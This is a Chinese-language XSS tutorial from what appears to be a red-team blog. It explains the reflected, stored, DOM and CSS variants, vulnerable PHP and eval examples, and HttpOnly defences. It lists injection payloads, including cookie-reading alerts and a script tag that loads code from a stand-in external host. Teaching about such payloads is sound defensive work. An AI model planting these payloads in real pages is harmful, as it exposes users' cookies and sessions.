// 红队渗透 · 2024-12-25

Web漏洞之XSS

XSS基础知识

XSS常见类型

反射型 XSS

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见的一种 XSS 攻击方式,属于”1-click“攻击。攻击者通过特定手法(如电子邮件)诱使用户访问包含恶意代码的 URL。当受害者点击这些专门设计的链接时,恶意代码会在其浏览器中执行。反射型 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用于窃取客户端 Cookies 或进行钓鱼欺骗。

存储型 XSS

持久型跨站脚本(Persistent Cross-Site Scripting)也称为存储型跨站脚本(Stored Cross-Site Scripting)。此类 XSS 不需要用户点击特定 URL 即可执行。攻击者事先将恶意代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意代码的页面,恶意代码便会执行。持久型 XSS 通常出现在网站留言、评论、博客等交互区域,恶意脚本存储在客户端或服务端的数据库中。

DOM 型 XSS

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM(文档对象模型)的一种漏洞,受客户端浏览器的脚本代码影响。客户端 JavaScript 可以访问浏览器的 DOM,因此能够决定用于加载当前页面的 URL。换句话说,客户端脚本可以通过 DOM 动态检查和修改页面内容,而不依赖于服务器端的数据。如果用户在客户端输入的数据包含恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,应用程序就可能受到基于 DOM 的 XSS 攻击。

CSS 型 XSS

原理

  • 利用标签引入外部 JS。

  • 利用标签的 style 属性,在属性中执行 JS 代码,此方法可以与任意标签结合:

    <div style="background-image:url('http://127.0.0.1/xss.gif')"></div>
    <style>body {background: url('http://127.0.0.1/xss.gif')}</style>
  • 利用 expression 表达式(在 IE7 及以下有效,IE8 及以上失效):

    <div style="{left: expression(alert('xss'))}"></div>
  • 利用 @import 引入外部 JS:

    <style type="text/css">@import url(http://www.xx.css)</style>
    body {event: expression(onload = function() {alert('XSS');})}
  • 还可以利用 @import 直接执行 XSS 代码:

    <style>@import 'javascript:alert('xss')';</style>

例子

1. 反射型 XSS

反射型 XSS 的过程如下:XSS 代码出现在 URL 中,作为输入提交到服务端,服务端解析后响应,响应内容中包含这段 XSS 代码,最终浏览器解析并执行。整个过程就像一次反射,因此称为反射型 XSS。

例如,以下是 http://localhost/xss/test1.php 的代码示例:

<?php
echo $_GET['x']; 
?>

尝试提交 http://localhost/xss/test1.php?x=<script>alert('test1')</script>,服务器解析时,echo 会完整输出 <script>alert('test1')</script> 到响应体中,浏览器解析执行触发。

2. 存储型 XSS

存储型 XSS 与反射型 XSS 的区别在于,提交的 XSS 代码会存储在服务端(如数据库、内存或文件系统等),下次请求目标页面时无需再提交 XSS 代码。最典型的例子是留言板 XSS,用户提交一条包含 XSS 代码的留言,存储到数据库,目标用户查看留言时,留言内容会从数据库查询并显示,浏览器发现有 XSS 代码后,会将其当作正常的 HTML 与 JS 解析执行,从而触发 XSS 攻击。

3. DOM 型 XSS

DOM 型 XSS 与反射型、存储型 XSS 的区别在于,DOM 型的代码不需要服务器解析响应的直接参与,触发 XSS 依赖于浏览器端的 DOM 解析,可以认为完全是客户端的事情。

例如:浏览器打开包含以下内容的html页面 在这里插入图片描述 查看代码可以发现,eval 动态执行的是 location.hash 中的值,即地址栏 URL 最后跟着的 #XSS 内容。

因此尝试执行请求 #alert(1),浏览器弹出一个框,因为在浏览器解析执行 JavaScript 时,最终执行的是 eval('alert(1)')。这里的 URL# 后的内容不会发送到服务端,而是在客户端被接收并解析执行。

XSS 防御

在 HTTP header 中加入以下字段以启用浏览器自带的 XSS 过滤器:

  • X-XSS-Protection: 1 (默认) 或 0 (关闭)
  • X-XSS-Protection: 1; mode=block (强制不渲染,Chrome 跳空白页,IE 展示一个 # 号)

Http-only 原理

Http-only 功能可以防止 JavaScript 读取 Cookie,即使黑客获得了在用户浏览器执行 JavaScript 脚本的能力,也无法读取 Cookie,从而达到防御效果。开启 Http-only 功能的方法是将 setcookie() 函数的第七个参数设置为 TRUE,然后删除浏览器上保存的 Cookie 即可生效。 在这里插入图片描述

虽然漏洞点依然存在,但 XSS 的恶意脚本已无法读取 Cookie。防御措施主要是对用户输入和输出进行敏感特殊字符的转义与过滤,而 Http-only 从另一个角度提供了防御。

常见的标签

  • <script> 标签用于定义客户端脚本,如 JavaScript。

    <script>alert("hack")</script>   <!-- 弹出 hack -->
    <script>alert(/hack/)</script>   <!-- 弹出 hack -->
    <script>alert(1)</script>        <!-- 弹出 1,数字可以不用引号 -->
    <script>alert(document.cookie)</script>      <!-- 弹出 cookie -->
    <script src=http://xxx.com/xss.js></script>  <!-- 引用外部的 xss -->
  • <img> 标签定义 HTML 页面中的图像。

    <img src=1 onerror=alert(1);>
    <img src=1 onerror=alert("xss");>
  • <input> 标签规定用户输入数据的输入字段。

    <input onfocus=alert(1);>

常见的 JavaScript 方法

  1. alert()

    alert("xss");
    alert(/xss/);
    alert(document.cookie);
  2. confirm()

    confirm('xss');
    confirm("xss");
    confirm(/xss/);
    confirm(document.cookie);
  3. prompt()

    prompt("xss");
    prompt(/xss/);
    prompt(document.cookie);
  4. document.write()

    document.write('<script>alert(/xss/)<\/script>');
    document.write('<script>alert(document.cookie)<\/script>');
  5. console.log()

    console.log(alert('xss'));
    console.log(alert("xss"));
    console.log(alert(/xss/));
    console.log(alert(document.cookie));
  6. 输出控制台

    console.log(document.cookie);
    console.dir(111);

原文 https://blog.csdn.net/2301_79518550/article/details/144679278